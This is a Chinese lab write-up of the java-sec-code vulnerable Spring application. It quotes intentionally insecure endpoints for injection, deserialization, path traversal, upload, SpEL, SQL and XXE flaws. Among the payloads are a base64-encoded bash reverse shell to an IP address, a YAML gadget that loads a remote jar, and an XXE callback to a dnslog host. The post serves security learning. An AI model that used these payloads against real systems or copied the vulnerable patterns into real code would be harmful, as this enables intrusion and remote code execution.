Java-Sec-Code靶场

文章目录

  • 前言
  • 1.靶场搭建
    • 靶场地址、环境
    • Window环境修改点
  • 靶场通关和源码分析
    • 命令注入
    • RCE
    • 反序列化
    • fastjson反序列化
    • 目录穿越
    • 文件上传
    • Spel表达式
    • sql注入
    • poi-ooxml组件XXE
  • 总结


前言

一直都是一个Java盲,但是如今Java却占据了开发的半壁江山,平时遇见的多数站点大多数都是Java编写的,Spring生态等等。偶然看到了这个靶场,简单看看,同时也作为学习Java各种链子等的起步吧。

1.靶场搭建

靶场地址、环境

靶场地址:java-sec-code
靶场环境:jdk1.8、mysql8.0.17、springboot、fastjson1.2.24、tomcat 8.5.11

Window环境修改点

直接将源码下载,拖进IDEA,点击运行即可,但是作者使用的linux环境,因此Windows环境需要进行一些代码的修改才能够成功运行。

  1. CommandInject.java处,sh改为cmd,将ls命令改为dir命令
    file

其次,修改index.html下引擎模板中的filepath的指向内容,链接成Winodws中某硬盘的测试文件。
file

靶场通关和源码分析

命令注入

    @GetMapping("/codeinject")public String codeInject(String filepath) throws IOException {String[] cmdList = new String[]{"sh", "-c", "ls -la " + filepath};ProcessBuilder builder = new ProcessBuilder(cmdList);builder.redirectErrorStream(true);Process process = builder.start();return WebUtils.convertStreamToString(process.getInputStream());}@GetMapping("/codeinject/host")public String codeInjectHost(HttpServletRequest request) throws IOException {String host = request.getHeader("host");logger.info(host);String[] cmdList = new String[]{"sh", "-c", "curl " + host};ProcessBuilder builder = new ProcessBuilder(cmdList);builder.redirectErrorStream(true);Process process = builder.start();return WebUtils.convertStreamToString(process.getInputStream());}

代码的本意是让你通过输入一个filepath的参数查看当前目录下的文件,这里使用了ProcessBuilder设置了外部程序和命令参数,通过start()启动了一个外部进程,并且通过getInputStream()读取输出流,但是关键是这里作为linux,它的命令行是可以进行拼接了,通过管道符,分号等能够同时执行多条命令,导致了命令注入。
这二个代码哪里也是一样,只是使用了host头处进行注入。

file

    @GetMapping("/codeinject/sec")public String codeInjectSec(String filepath) throws IOException {String filterFilePath = SecurityUtil.cmdFilter(filepath);if (null == filterFilePath) {return "Bad boy. I got u.";}String[] cmdList = new String[]{"sh", "-c", "ls -la " + filterFilePath};ProcessBuilder builder = new ProcessBuilder(cmdList);builder.redirectErrorStream(true);Process process = builder.start();return WebUtils.convertStreamToString(process.getInputStream());}//   private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$");

这里相比较之前对输入的filePath变量多了一个正则表达式的匹配,只允许出现括号中的字符,也就是说使用了白名单的形式,这里相对来说应该是安全的,没法拼接命令导致命令注入。

RCE

    @GetMapping("/runtime/exec")public String CommandExec(String cmd) {Runtime run = Runtime.getRuntime();StringBuilder sb = new StringBuilder();try {Process p = run.exec(cmd);BufferedInputStream in = new BufferedInputStream(p.getInputStream());BufferedReader inBr = new BufferedReader(new InputStreamReader(in));String tmpStr;while ((tmpStr = inBr.readLine()) != null) {sb.append(tmpStr);}if (p.waitFor() != 0) {if (p.exitValue() == 1)return "Command exec failed!!";}inBr.close();in.close();} catch (Exception e) {return e.toString();}return sb.toString();}/*** <a href="http://localhost:8080/rce/ProcessBuilder?cmd=whoami">POC</a>*/@GetMapping("/ProcessBuilder")public String processBuilder(String cmd) {StringBuilder sb = new StringBuilder();try {String[] arrCmd = {"/bin/sh", "-c", cmd};ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);Process p = processBuilder.start();BufferedInputStream in = new BufferedInputStream(p.getInputStream());BufferedReader inBr = new BufferedReader(new InputStreamReader(in));String tmpStr;while ((tmpStr = inBr.readLine()) != null) {sb.append(tmpStr);}} catch (Exception e) {return e.toString();}return sb.toString();}/*** http://localhost:8080/rce/jscmd?jsurl=http://xx.yy/zz.js** curl http://xx.yy/zz.js* var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");}** @param jsurl js url*/@GetMapping("/jscmd")public void jsEngine(String jsurl) throws Exception{// js nashorn javascript ecmascriptScriptEngine engine = new ScriptEngineManager().getEngineByName("js");Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);String cmd = String.format("load(\"%s\")", jsurl);engine.eval(cmd, bindings);}/*** http://localhost:8080/rce/vuln/yarm?content=!!javax.script.ScriptEngineManager%20[!!java.net.URLClassLoader%20[[!!java.net.URL%20[%22http://test.joychou.org:8086/yaml-payload.jar%22]]]]* yaml-payload.jar: https://github.com/artsploit/yaml-payload** @param content payloads*/@GetMapping("/vuln/yarm")public void yarm(String content) {Yaml y = new Yaml();y.load(content);}@GetMapping("/sec/yarm")public void secYarm(String content) {Yaml y = new Yaml(new SafeConstructor());y.load(content);}/*** http://localhost:8080/rce/groovy?content="open -a Calculator".execute()* @param content groovy shell*/@GetMapping("groovy")public void groovyshell(String content) {GroovyShell groovyShell = new GroovyShell();groovyShell.evaluate(content);}

这里作者单纯就是演示了一些命令执行的过程中的代码,包括直接使用Runtime.getRuntime().exec(),ProcessBuilder、通过yaml加载恶意Java对象进行命令执行,通过groovyShell进行命令执行

反序列化

    @RequestMapping("/rememberMe/vuln")public String rememberMeVul(HttpServletRequest request)throws IOException, ClassNotFoundException {Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);if (null == cookie) {return "No rememberMe cookie. Right?";}String rememberMe = cookie.getValue();byte[] decoded = Base64.getDecoder().decode(rememberMe);ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);ObjectInputStream in = new ObjectInputStream(bytes);in.readObject();in.close();return "Are u ok?";}

这里从Requests包中接收rememberMe进行base64解码后,通过读取了解码内容后,最后触发了readObject()方法进行反序列化,因为这里可以通过链的形式伪造Cookie达到命令执行的效果,比较简单的就是使用URLDNS链来进行验证一下,如果要进行命令执行,项目这里使用了 Commons-Collections3.1的组件,可以通过CC链达到反序列化进行RCE的效果。

file

fastjson反序列化

    @RequestMapping(value = "/deserialize", method = {RequestMethod.POST})@ResponseBodypublic String Deserialize(@RequestBody String params) {// 如果Content-Type不设置application/json格式,post数据会被url编码try {// 将post提交的string转换为jsonJSONObject ob = JSON.parseObject(params);return ob.get("name").toString();} catch (Exception e) {return e.toString();}}

在fastjson进行反序列化的时候,通过autoType来指定反序列化的类,进入parseField方法,进入方法后通过setValue(object,value),在这会执行构造的恶意代码,从而实现恶意代码执行。

file

目录穿越

    @GetMapping("/path_traversal/vul")public String getImage(String filepath) throws IOException {return getImgBase64(filepath);}private String getImgBase64(String imgFile) throws IOException {logger.info("Working directory: " + System.getProperty("user.dir"));logger.info("File path: " + imgFile);File f = new File(imgFile);if (f.exists() && !f.isDirectory()) {byte[] data = Files.readAllBytes(Paths.get(imgFile));return new String(Base64.encodeBase64(data));} else {return "File doesn't exist or is not a file.";}}

这里本意应该是读取图片的base64信息然后返回给前端,但是此处对传入的filePath参数未做任何过滤,导致了可以使用…/的形式把路径向前,导致了遍历。

file

可以看一下它的安全过滤的过滤器,也十分简单:

    public static String pathFilter(String filepath) {String temp = filepath;// use while to sovle multi urlencodewhile (temp.indexOf('%') != -1) {try {temp = URLDecoder.decode(temp, "utf-8");} catch (UnsupportedEncodingException e) {logger.info("Unsupported encoding exception: " + filepath);return null;} catch (Exception e) {logger.info(e.toString());return null;}}if (temp.contains("..") || temp.charAt(0) == '/') {return null;}return filepath;}

先判断传入的参数是否进行了url编码,如果编码了则进行解码,然后判断路径中是否存在…这样的字符或者以/开头,如果包含这样的敏感字符,则直接返回null。

文件上传

    @PostMapping("/upload")public String singleFileUpload(@RequestParam("file") MultipartFile file,RedirectAttributes redirectAttributes) {if (file.isEmpty()) {// 赋值给uploadStatus.html里的动态参数messageredirectAttributes.addFlashAttribute("message", "Please select a file to upload");return "redirect:/file/status";}try {// Get the file and save it somewherebyte[] bytes = file.getBytes();Path path = Paths.get(UPLOADED_FOLDER + file.getOriginalFilename());Files.write(path, bytes);redirectAttributes.addFlashAttribute("message","You successfully uploaded '" + UPLOADED_FOLDER + file.getOriginalFilename() + "'");} catch (IOException e) {redirectAttributes.addFlashAttribute("message", "upload failed");logger.error(e.toString());}return "redirect:/file/status";}

这里文件上传的代码非常危险,虽然固定了/tmp目录,但是文件上传之后没有重新重命名文字,没有对文件的后缀名,文件类型进行过滤,应当使用白名单的形式对MIME类型,文件的后缀名,将上传后的文件重命名等形式防止文件上传产生的漏洞。

    @PostMapping("/upload/picture")@ResponseBodypublic String uploadPicture(@RequestParam("file") MultipartFile multifile) throws Exception {if (multifile.isEmpty()) {return "Please select a file to upload";}String fileName = multifile.getOriginalFilename();String Suffix = fileName.substring(fileName.lastIndexOf(".")); // 获取文件后缀名String mimeType = multifile.getContentType(); // 获取MIME类型String filePath = UPLOADED_FOLDER + fileName;File excelFile = convert(multifile);// 判断文件后缀名是否在白名单内  校验1String[] picSuffixList = {".jpg", ".png", ".jpeg", ".gif", ".bmp", ".ico"};boolean suffixFlag = false;for (String white_suffix : picSuffixList) {if (Suffix.toLowerCase().equals(white_suffix)) {suffixFlag = true;break;}}if (!suffixFlag) {logger.error("[-] Suffix error: " + Suffix);deleteFile(filePath);return "Upload failed. Illeagl picture.";}// 判断MIME类型是否在黑名单内 校验2String[] mimeTypeBlackList = {"text/html","text/javascript","application/javascript","application/ecmascript","text/xml","application/xml"};for (String blackMimeType : mimeTypeBlackList) {// 用contains是为了防止text/html;charset=UTF-8绕过if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCase().contains(blackMimeType)) {logger.error("[-] Mime type error: " + mimeType);deleteFile(filePath);return "Upload failed. Illeagl picture.";}}// 判断文件内容是否是图片 校验3boolean isImageFlag = isImage(excelFile);deleteFile(randomFilePath);if (!isImageFlag) {logger.error("[-] File is not Image");deleteFile(filePath);return "Upload failed. Illeagl picture.";}try {// Get the file and save it somewherebyte[] bytes = multifile.getBytes();Path path = Paths.get(UPLOADED_FOLDER + multifile.getOriginalFilename());Files.write(path, bytes);} catch (IOException e) {logger.error(e.toString());deleteFile(filePath);return "Upload failed";}logger.info("[+] Safe file. Suffix: {}, MIME: {}", Suffix, mimeType);logger.info("[+] Successfully uploaded {}", filePath);return String.format("You successfully uploaded '%s'", filePath);}

Spel表达式

    @GetMapping("/spel/vuln")public String rce(String expression) {ExpressionParser parser = new SpelExpressionParser();// fix method: SimpleEvaluationContextreturn parser.parseExpression(expression).getValue().toString();}
    @GetMapping("/spel/vuln")public String rce(String expression) {ExpressionParser parser = new SpelExpressionParser();// fix method: SimpleEvaluationContextreturn parser.parseExpression(expression).getValue().toString();}

使用Spring Expression Language表达式语言在表达式中动态的解析和调用方法,这里的T表示直接调用Java.lang.Runtime这个类,可以进行命令执行
file

T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMjkuMTcwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}")

sql注入

    @RequestMapping("/jdbc/vuln")public String jdbc_sqli_vul(@RequestParam("username") String username) {StringBuilder result = new StringBuilder();try {Class.forName(driver);Connection con = DriverManager.getConnection(url, user, password);if (!con.isClosed())System.out.println("Connect to database successfully.");// sqli vuln codeStatement statement = con.createStatement();String sql = "select * from users where username = '" + username + "'";logger.info(sql);ResultSet rs = statement.executeQuery(sql);while (rs.next()) {String res_name = rs.getString("username");String res_pwd = rs.getString("password");String info = String.format("%s: %s\n", res_name, res_pwd);result.append(info);logger.info(info);}rs.close();con.close();} catch (ClassNotFoundException e) {logger.error("Sorry, can't find the Driver!");} catch (SQLException e) {logger.error(e.toString());}return result.toString();}

基于JDBC的sql查询,使用DriverManagement对数据库进行连接,然后通过Statement接口,拼接了username进入sql语句中进行查询,然后返回查询的数据,这里直接拼接是可以使用单引号闭合sql语句导致sql注入的产生,应当使用prepareStatement的形式对sql语句进行预编译,然后实施参数化查询,虽然说参数化不能杜绝类似于列表部分等的SQL注入攻击,但是能够很好的杜绝上面这类攻击。

至于Mybatis类的注入,可以大致看之前写过的一篇文章:Myabtis注入

poi-ooxml组件XXE

    @PostMapping("/readxlsx")@ResponseBodypublic String ooxml_xxe(MultipartFile file) throws IOException {XSSFWorkbook wb = new XSSFWorkbook(file.getInputStream()); // xxe vulnXSSFSheet sheet = wb.getSheetAt(0);XSSFRow row;XSSFCell cell;Iterator rows = sheet.rowIterator();StringBuilder sbResult = new StringBuilder();while (rows.hasNext()) {row = (XSSFRow) rows.next();Iterator cells = row.cellIterator();while (cells.hasNext()) {cell = (XSSFCell) cells.next();if (cell.getCellType() == XSSFCell.CELL_TYPE_STRING) {sbResult.append(cell.getStringCellValue()).append(" ");} else if (cell.getCellType() == XSSFCell.CELL_TYPE_NUMERIC) {sbResult.append(cell.getNumericCellValue()).append(" ");} else {logger.info("errors");}}}return sbResult.toString();}

这是Apache POI组件,提供了Microsoft Office系列文档读、写功能等进行xlsx操作,在低版本下存在XXE漏洞,主要原因是org.apache.poi.openxml4j.opc.internal.ContentTypeManager#parseContentTypesFile读取XML文件时没有对XXE漏洞进行防护导致的,只需要在xls文件中,将Content-Type文件插入XXE代码即可触发。

<!DOCTYPE test [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "http://xlsx.3z3qbz.dnslog.cn">
]>
<test>&xxe;</test>

总结

靶场上面还有Swagger-UI泄露,端点env泄露和RCE,JWT、log4j等这些平常渗透的时候出的也都比较多了,这里也不写了,总的来说,这个靶场主要是可以看看漏洞代码和正确代码分别是怎么写的,也算是Java的一次入门,更详细可以参考作者的链接。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/69232.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

贴吧照片和酷狗音乐简单爬取

爬取的基本步骤 很简单&#xff0c;主要是两大步 向url发起请求 这里注意找准对应资源的url&#xff0c;如果对应资源不让程序代码访问&#xff0c;这里可以伪装成浏览器发起请求。 解析上一步返回的源代码&#xff0c;从中提取想要的资源 这里解析看具体情况&#xff0c;一…

每天一道leetcode:797. 所有可能的路径(图论中等深度优先遍历)

今日份题目&#xff1a; 给你一个有 n 个节点的 有向无环图&#xff08;DAG&#xff09;&#xff0c;请你找出所有从节点 0 到节点 n-1 的路径并输出&#xff08;不要求按特定顺序&#xff09; graph[i] 是一个从节点 i 可以访问的所有节点的列表&#xff08;即从节点 i 到节…

力扣 139. 单词拆分

题目来源&#xff1a;https://leetcode.cn/problems/word-break/description/ C题解&#xff1a;将该题视为完全背包问题&#xff0c;因为每个单词都可以多次用。动规五部曲分析如下&#xff1a; 确定dp数组以及下标的含义。dp[i] : 字符串长度为i的话&#xff0c;dp[i]为true…

206、仿真-51单片机锂电池蓄电池电压电流加按键控制开关状态Proteus仿真设计(程序+Proteus仿真+配套资料等)

毕设帮助、开题指导、技术解答(有偿)见文未 目录 一、硬件设计 二、设计功能 三、Proteus仿真图 四、程序源码 资料包括&#xff1a; 需要完整的资料可以点击下面的名片加下我&#xff0c;找我要资源压缩包的百度网盘下载地址及提取码。 方案选择 单片机的选择 方案一&a…

最新AI系统ChatGPT网站程序源码+搭建教程/公众号/H5端/安装配置教程/完整知识库

1、前言 SparkAi系统是基于国外很火的ChatGPT进行开发的Ai智能问答系统。本期针对源码系统整体测试下来非常完美&#xff0c;可以说SparkAi是目前国内一款的ChatGPT对接OpenAI软件系统。 那么如何搭建部署AI创作ChatGPT&#xff1f;小编这里写一个详细图文教程吧&#xff01;…

【数据结构与算法】十大经典排序算法-选择排序

&#x1f31f;个人博客&#xff1a;www.hellocode.top &#x1f3f0;Java知识导航&#xff1a;Java-Navigate &#x1f525;CSDN&#xff1a;HelloCode. &#x1f31e;知乎&#xff1a;HelloCode &#x1f334;掘金&#xff1a;HelloCode ⚡如有问题&#xff0c;欢迎指正&#…

【学习FreeRTOS】第8章——FreeRTOS列表和列表项

1.列表和列表项的简介 列表是 FreeRTOS 中的一个数据结构&#xff0c;概念上和链表有点类似&#xff0c;列表被用来跟踪 FreeRTOS中的任务。列表项就是存放在列表中的项目。 列表相当于链表&#xff0c;列表项相当于节点&#xff0c;FreeRTOS 中的列表是一个双向环形链表列表的…

github中Keyless Google Maps API在网页中显示地图和标记 无需api key

使用Google Maps API在网页中显示地图和标记的示例博客。以下是一个简单的示例&#xff1a; C:\pythoncode\blog\google-map-markers-gh-pages\google-map-markers-gh-pages\index.html 介绍&#xff1a; 在本篇博客中&#xff0c;我们将学习如何使用Google Maps API在网页中…

从零开始学习 Java:简单易懂的入门指南之MAth、System(十二)

常见API&#xff0c;MAth、System 1 Math类1.1 概述1.2 常见方法1.3 算法小题(质数)1.4 算法小题(自幂数) 2 System类2.1 概述2.2 常见方法 1 Math类 1.1 概述 tips&#xff1a;了解内容 查看API文档&#xff0c;我们可以看到API文档中关于Math类的定义如下&#xff1a; Math类…

转行软件测试四个月学习,第一次面试经过分享

我是去年上半年从销售行业转行到测试的&#xff0c;从销售公司辞职之后选择去培训班培训软件测试&#xff0c;经历了四个月左右的培训&#xff0c;在培训班结课前两周就开始投简历了&#xff0c;在结课的时候顺利拿到了offer。在新的公司从事软件测试工作已经将近半年有余&…

YOLOv5白皮书-第Y6周:模型改进

&#x1f4cc;本周任务&#xff1a;模型改进&#x1f4cc; 注&#xff1a;对yolov5l.yaml文件中的backbone模块和head模块进行改进。 任务结构图&#xff1a; YOLOv5s网络结构图: 原始模型代码&#xff1a; # YOLOv5 v6.0 backbone backbone:# [from, number, module, args]…

财务数据分析之现金流量表模板分享

现金流量表是我们常说的财务数据分析三表之一。它可以呈现一个企业的现金流情况&#xff0c;揭示企业经营管理健康状态&#xff0c;但在实际使用中却有总给人一种用不上、用不好的矛盾感。怎么才能把现金流量表做好&#xff1f;不如借鉴下大神的现金流量表模板。 下面介绍的是…